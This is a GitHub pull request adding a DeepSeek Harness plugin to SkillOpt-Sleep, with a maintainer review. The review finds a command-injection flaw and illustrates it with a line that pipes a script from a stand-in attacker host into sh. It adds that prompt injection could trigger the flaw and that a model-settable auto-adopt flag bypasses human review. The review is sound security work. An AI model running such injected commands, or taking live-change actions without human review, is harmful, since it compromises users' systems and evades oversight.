Add DeepSeek Harness (dsh) integration to SkillOpt-Sleep plugins - #237
Add DeepSeek Harness (dsh) integration to SkillOpt-Sleep plugins#237WODE25500 wants to merge 1 commit into
Conversation
New plugins/dsh/ integration wrapping the shared skillopt_sleep engine for DeepSeek Harness: a Cordis plugin registering 7 native skillopt_* tools (status/dry-run/run/adopt/harvest/schedule/unschedule), a bundled SKILL.md, a bundle patch layer (cordis.patch.yml), and a bootstrap script. Register the plugin in the plugins/README.md integration table.
|
@microsoft-github-policy-service agree |
|
Awesome appreciate you taking a look |
|
WODE25500 the command you issued was incorrect. Please try again. Examples are: and |
|
Thanks for adding this integration. I checked the current head against DeepSeek Harness v0.1.0-rc.8, and there are a few runtime/package blockers to address before this is mergeable:
Please also add a clean-package canary against DSH rc.8 that loads the packed bundle and invokes at least |
Yifan Yang (Yif-Yang)
left a comment
There was a problem hiding this comment.
Thanks for this, and apologies for the slow first response.
First: I want to be clear that I verified DeepSeek Harness is real before reviewing. I was initially skeptical, but @deepseek-ai/cordis (4.0.1) and @deepseek-ai/dsh-tools both exist on npm under DeepSeek's real scope, and github.com/deepseek-ai/deepseek-harness resolves. The premise is sound and the integration is welcome.
The blockers are in src/index.js, and they're all the same root cause.
Blocker 1 — buildCommand joins argv into a shell string
plugins/dsh/src/index.js:80 ends with parts.join(' '), and the result goes to shell.run({command}) with no quoting anywhere. Every other plugin in this repo passes an argv list to subprocess.run without a shell — plugins/copilot/mcp_server.py:118, plugins/devin/mcp_server.py:109. This is the only integration that builds a string.
Two consequences, both of which I reproduced:
(a) Your own documented example is broken. cordis.patch.yml:18 shows preferences: 'Prefer pytest. Keep commits imperative.'. Running your buildCommand on it:
python -m skillopt_sleep run --preferences Prefer pytest. Keep commits imperative.
Five stray argv words. argparse will not accept this. The feature as documented cannot work.
(b) Command injection. project, model, preferences etc. are declared as model-facing tool parameters, so their values are chosen by the LLM at runtime, not just by the operator's config:
python -m skillopt_sleep adopt --project /tmp/x; curl attacker.sh | sh
sh parses that as two commands. A prompt-injected transcript is enough to reach it.
Fix: pass an array. If shell.run requires a string, quote every interpolated value.
Blocker 2 — autoAdopt is exposed as a model-callable parameter
index.js:128 declares autoAdopt as a boolean tool parameter and :133 forwards --auto-adopt. The staging/adopt split exists specifically so a human reviews before anything touches live files — skillopt_adopt's own description calls itself "the live-change boundary." Letting the model set autoAdopt lets it cross that boundary unattended. Please make auto-adopt operator-config-only, not a tool parameter.
Should fix — plugin registry
tests/test_plugin_sync.py:13 has a PLUGIN_SKILL_MDS registry driving three parity tests; dsh isn't in it, so this plugin is unverified by any test. Adding it there is a one-line change and gets you real coverage.
Minor
SKILL.mdanddocs/README.zh.mdare Chinese-only. Other plugins lead with English; aREADME.zh.mdalongside an English original is the established pattern.
Suite on your branch: 1097 passed, 10 skipped, 130 subtests — no regressions, since nothing touches the shared engine.
The structure and the seven-tool surface are right. Fix the argv handling and the auto-adopt exposure and I'll merge this.
What
Adds
plugins/dsh/- a DeepSeek Harness integration wrapping the sharedskillopt_sleepengine, following the same pattern as the existingClaude Code / Codex / Cursor integrations.
DeepSeek Harness (dsh) is the "everything is a plugin" agent framework from
DeepSeek. Its plugins are TypeScript modules exporting
apply(ctx)thatregister capabilities on the Cordis context.
What's included
plugins/dsh/src/index.jsskillopt_status,skillopt_dry_run,skillopt_run,skillopt_adopt,skillopt_harvest,skillopt_schedule,skillopt_unscheduleplugins/dsh/cordis.patch.ymldsh-skilloptto any profile's bundlesplugins/dsh/skills/skillopt-sleep/SKILL.mdplugins/dsh/scripts/sleep.pyplugins/dsh/package.jsonplugins/dsh/README.mdThe
plugins/README.mdintegration table now lists DeepSeek Harness.Design notes
python -m skillopt_sleep <action>through the dshctx.shellexecutor, exactly the same engine and CLI surface the other integrations use.
backend,source,model,maxTasks,maxSessions,editBudget,preferences,jsonOutput); advanced keysstill live in the shared
~/.skillopt-sleep/config.json.mockbackend = zero API spend for plumbing checks.adoptis the only live-change boundary; harvest is read-only.Validation
node --checkon the plugin entry passes.python -m skillopt_sleep statusanddry-run --backend mockrun cleanagainst this checkout (no provider calls).
(explicit args override config defaults;
--progress/--auto-adopt/--jsonflags append correctly).
Notes for maintainers
environment with the
skillopt_sleepengine (same prerequisite as the otherintegrations).
plugins/.MIT - by contributing, I agree my contributions are licensed under the MIT License.